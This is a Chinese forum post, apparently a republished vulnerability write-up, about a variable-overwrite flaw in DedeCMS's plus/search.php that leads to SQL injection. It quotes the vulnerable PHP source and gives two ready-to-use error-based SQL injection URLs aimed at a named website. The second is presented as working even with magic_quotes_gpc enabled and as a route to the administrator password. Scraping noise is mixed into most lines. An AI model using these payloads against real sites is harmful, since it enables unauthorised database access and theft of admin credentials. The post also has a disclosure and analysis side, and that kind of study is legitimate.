微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
& d5 u P; c3 S1 r9 C3 r m# a作者: c4rp3nt3r@0x50sec.org, @. @. W& {- L. C! M
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: ~/ d* Z/ `. W% a) p
$ A s/ Z2 [6 i黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.$ ^# O$ Z) I) C( ^" M
) r& X9 m1 K( y% U) [
============1 o( f4 C) }! @5 Q4 N$ o) q) z
1 L4 p8 O( W9 U$ { X# r
. k4 l0 `6 V0 o( ]1 `" l
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
7 b, l8 v5 J! D( @# W% V
- j, a1 o7 i/ V) U) Q; ]( \" ^ e1 Srequire_once(dirname(__FILE__).”/../include/common.inc.php”);) l. X5 b4 m" n7 [1 f5 U
require_once(DEDEINC.”/arc.searchview.class.php”);) Z/ N% B, E: w. q1 P6 H G! s
' B4 x$ J6 y6 |2 V
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$ l q5 y+ @( y) N, z; S' w$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;- _) k( D% x( y$ p1 y
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;. ?! p: Y* Y7 y M Y7 F* _
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;, W, J' y! z! a9 w
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;7 q. T9 F* o$ s, w |2 A
8 F* S" G6 H9 F! l; F: M+ Y
if(!isset($orderby)) $orderby=”;" J; F M( B, t% Y( p9 S( Q
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);8 K% E0 y) R! n) S' R
5 @+ r: Z3 I" H ; ?9 r" }- E. s4 F3 `+ x1 x7 B
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
2 l3 ]- a/ d3 K/ b; m$ `else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);: O, R8 F5 i5 _
; `7 a3 a- d% H' hif(!isset($keyword)){% A; l8 `) K) m9 ]/ Z2 c4 y- [7 v4 m
if(!isset($q)) $q = ”;
" f, Q* B0 W9 ` $keyword=$q;
( B* e8 J k6 {+ T. b& _) b# {" s}9 r/ K3 M" u' Z$ C! _, p& { L1 j, U3 o
- [: ^. y% F' v1 y; j3 {
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));& k: | {1 L+ p, N1 g/ M* W& T
- V) V8 L+ _/ i//查找栏目信息& {2 v) G% F6 b+ X; h
if(empty($typeid))- d- j. K/ Y9 C0 ]: a
{4 H; T* ]0 k/ ?% e" }
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;; D; B' @0 C8 }/ h
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
) N# {: G9 V. }- N {
1 x6 t. r E7 I! s5 E* K6 L; @9 x& u( J $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
; v" J O. z4 Q$ k2 G0 J. S fwrite($fp, “<”.”?php\r\n”);. R8 m s, O/ u3 Y2 O8 V% x1 a
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);, S0 }& z" \# E' S
$dsql->Execute();
" T: g" G& Q5 P; `& ] while($row = $dsql->GetArray())
. z+ L2 O! ?- M1 K4 H1 Y: M6 d {
5 f$ H c$ `# |5 j; P fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);/ `- V/ y- [; D E2 _
}" r& }1 ]7 ]- i% {( n& ?/ O' F {
fwrite($fp, ‘?’.'>’);
. C- V4 l* Y9 k+ @' n2 z2 k9 O+ W fclose($fp);. z+ Z l. s# C( \, h- V$ N' T
}* y$ H9 ^9 ~2 g! s2 p
//引入栏目缓存并看关键字是否有相关栏目内容$ |8 Z) Z2 {* T9 M3 B
require_once($typenameCacheFile);
( z" R. ?: Z B* b& y//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个, s; {; r, c+ N
//
" ]8 W6 Z% S7 Y3 V if(isset($typeArr) && is_array($typeArr))
4 ^0 d# }% B! r" U {
" O$ c |2 M1 K5 ^ foreach($typeArr as $id=>$typename)6 r* ~7 K0 L, B( A0 `, K
{( X& [. F( _- _; l
( h; |& |9 o4 m$ Q& Q <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过' E% W- F2 B- b6 O$ s8 E
if($keyword != $keywordn)
0 X, r+ O' ]9 w: j& _ {2 Y6 B- N, a) k
$keyword = $keywordn;/ y! V; s) l. _7 q
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
: c( ^5 O3 n& U' S break;
$ y* m; F! B1 J) }3 p6 {# X }
# c2 m4 n( y7 w! A, f8 Z3 x' F }
2 X- M* s$ v, Z+ a! [ }
" ?3 b+ B3 B$ r1 z+ H ~0 V}
$ A9 h% x9 y, Q4 _2 q然后plus/search.php文件下面定义了一个 Search类的对象 .7 o" s( E' f- p% a6 R, P% N4 y8 J' ?
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.% Z# |+ U8 S5 b4 T& z
$this->TypeLink = new TypeLink($typeid);; s% t! U" K7 x
4 p9 d) A4 l* S }& [* ?& R
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.+ T* w1 c2 q+ c/ x1 ]+ ]* \
+ _5 W" x2 G) w, D U* k
class TypeLink" \* P* y7 S1 B- ~1 C4 Y" J, D8 @9 V
{
% f, K+ I) E! ~2 a var $typeDir;( u. f' C) z& Y! v9 e7 e
var $dsql;
( T- o0 Z+ U, @3 A var $TypeID;9 m/ |" z. ~+ m, n9 G( x
var $baseDir;, L f% ^) z. }8 }2 f1 C
var $modDir;. v2 r# w. o3 h$ O, W, i$ z* W- ? o
var $indexUrl;
6 G4 l6 b' z1 P9 V: c var $indexName;
, y) t1 \0 T, {- C* v var $TypeInfos;( k& J) A7 H/ K
var $SplitSymbol;$ G" b! ?% ]$ t" t r" |4 ]
var $valuePosition;
& P. G5 R; B7 ~0 j' I% Y var $valuePositionName;+ `( t6 V) `4 h- g/ e& I5 \
var $OptionArrayList;//构造函数///////! F3 Y8 P2 D2 ]3 T
//php5构造函数0 h& H# y6 V/ x6 \6 a, a, b
function __construct($typeid)
0 _7 j* U7 G" X) h# ` {4 N- H' {' Q( V8 k
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
( n- `4 |6 {: \ $this->indexName = $GLOBALS['cfg_indexname'];# T; K& U8 ~5 H
$this->baseDir = $GLOBALS['cfg_basedir'];) |( A4 c0 J3 E7 G! j7 H, C5 _
$this->modDir = $GLOBALS['cfg_templets_dir'];. P3 t8 O/ l: O2 | {% O
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
- }; ], Y4 T/ b, T/ \6 { $this->dsql = $GLOBALS['dsql'];# b9 X1 @/ R0 a
$this->TypeID = $typeid;
! a3 V- e: }" w H: P! k* K+ q) | q7 a $this->valuePosition = ”;8 w% F+ M8 `" ]
$this->valuePositionName = ”;. O& Y9 c9 ]* `9 y/ U6 p% T# t. I
$this->typeDir = ”;
- i' P* M2 `* M! J2 V4 `- t6 W $this->OptionArrayList = ”;
' Y% D- b& r C1 S# p2 I ; r2 U% @3 L: @3 ~; D# E" v
//载入类目信息
$ z+ p3 v. k% _4 Y6 f A2 K
0 E- q, r2 w$ L" e p* g <font color=”Red”>$query = “SELECT tp.*,ch.typename as; K& r5 E+ W- ^9 I; t
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join( }5 A, I1 m0 O
`#@__channeltype` ch
! Q$ M' l6 R. R: W; t- o; ~ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
- x/ W/ T# N( M8 a
4 g& `3 _9 y# [: t# s if($typeid > 0)( G7 Q1 Y- o1 M$ U
{
, F0 r7 Y6 P! _7 O$ U, q: P $this->TypeInfos = $this->dsql->GetOne($query);( y( s* q( F7 R0 `
利用代码一 需要 即使magic_quotes_gpc = Off
% {3 M& c3 ~5 ]9 L# Z% u& v# T ) u* e0 y8 W2 [$ C" z# ?5 _
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title# `) K- x2 w4 b X. l% I$ V' G
9 k9 P& o3 u/ M$ x3 x0 H
这只是其中一个利用代码… Search 类的构造函数再往下
$ i5 t7 I9 M0 I4 L' Z
( o$ g5 ~5 v0 ~1 k0 v4 ?……省略5 ?/ r9 f, ]1 \' ]; z: U
$this->TypeID = $typeid;6 M( A1 X% e1 j4 Z5 J
……省略
0 n$ M7 j( T% L/ Bif($this->TypeID==”0″){
' G* `: |2 F) J" U1 N $this->ChannelTypeid=1;
4 E# W8 u% [1 @9 j }else{
$ }/ E1 E4 @7 T$ z7 f $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
4 l9 [- H) Z: T* [# T//现在不鸡肋了吧亲…' \# v+ o j6 G; A5 a
$this->ChannelTypeid=$row['channeltype'];/ C: Q3 M" I' W- i; o# k) Z
5 m$ u! g0 m" a0 Q9 M- ] P }
. [2 [. A' i$ l" P" L Q( ]# s% r利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
3 Z( f8 K) S# j2 J, Z; \ : H& a- j4 V( H- a) e! v9 j
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
( p# L, L5 E3 X( J. q
* [( N# R. }+ G- A9 C如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站- D# d4 `0 `* a4 N O
|